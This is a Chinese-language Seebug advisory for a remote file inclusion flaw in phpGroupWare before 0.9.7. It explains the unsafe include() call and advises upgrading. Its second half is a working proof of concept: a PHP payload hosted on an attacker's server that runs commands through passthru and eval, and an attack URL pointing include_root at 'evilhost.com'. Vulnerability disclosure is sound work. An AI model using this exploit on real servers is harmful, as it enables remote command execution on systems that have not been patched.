phpGroupWare远程执行命令漏洞

2008-10-25T00:00:00
ID SSV:4310
Type seebug
Reporter Root
Modified 2008-10-25T00:00:00

Description

由于它不正确的调用了include()函数,可能允许包含远程的恶意文件,并导致 在受影响主机上执行任意命令。(以web server运行权限,通常是'nobody')

由于phpGroupWare的库包含文件放在浏览器可访问的目录下,因此攻击者可以 直接调用这些包含文件,由于其中的一个包含文件phpgw.inc.php是用include 函数时是通过变量完成的,用户可以通过Web接口定义这个变量的内容,导致 远程主机上的文件可以被包含进来。如果攻击者设置一个有效的php文件,就 可能在受攻击的主机上执行任意命令。

有问题的代码部分,如下:

include($phpgw_info[ server ][ include_root ] . /phpgwapi/phpgw_info.inc.php );

0.9.7以前版本(for Unix) 厂商补丁:

NSFOCUS建议您尽快升级到phpGroupWare的最新版本:0.9.7 下载地址:

<a href=http://sourceforge.net/project/showfiles.php?group_id=7305 target=_blank>http://sourceforge.net/project/showfiles.php?group_id=7305</a>

                                        
                                            
                                                攻击者可以在某个自己控制的主机上建立一个目录phpgwapi,并在下面创建一个
phpgw_info.inc.php文件,其内容如下:

&lt;?php

        // PHP code to be executed
        $phpcode = '
                echo( Hi there!&lt;BR&gt; );
                passthru( id );
        ';

        // If we were called via remote include, send the code to be
        // executed
        if (substr($HTTP_SERVER_VARS[ HTTP_USER_AGENT ], 0, 3) ==  PHP )
                echo( &lt;?php $phpcode ?&gt; );
        else
        // Otherwise we're being executed on the target web server already,
        // so simply evaluate the code
                eval($phpcode);

        exit();

?&gt;

则调用下列命令可能发动攻击:

http://target/phpgroupware/inc/phpgwapi/phpgw.inc.php?phpgw_info[server][include_root]=
http://evilhost.com/~shaun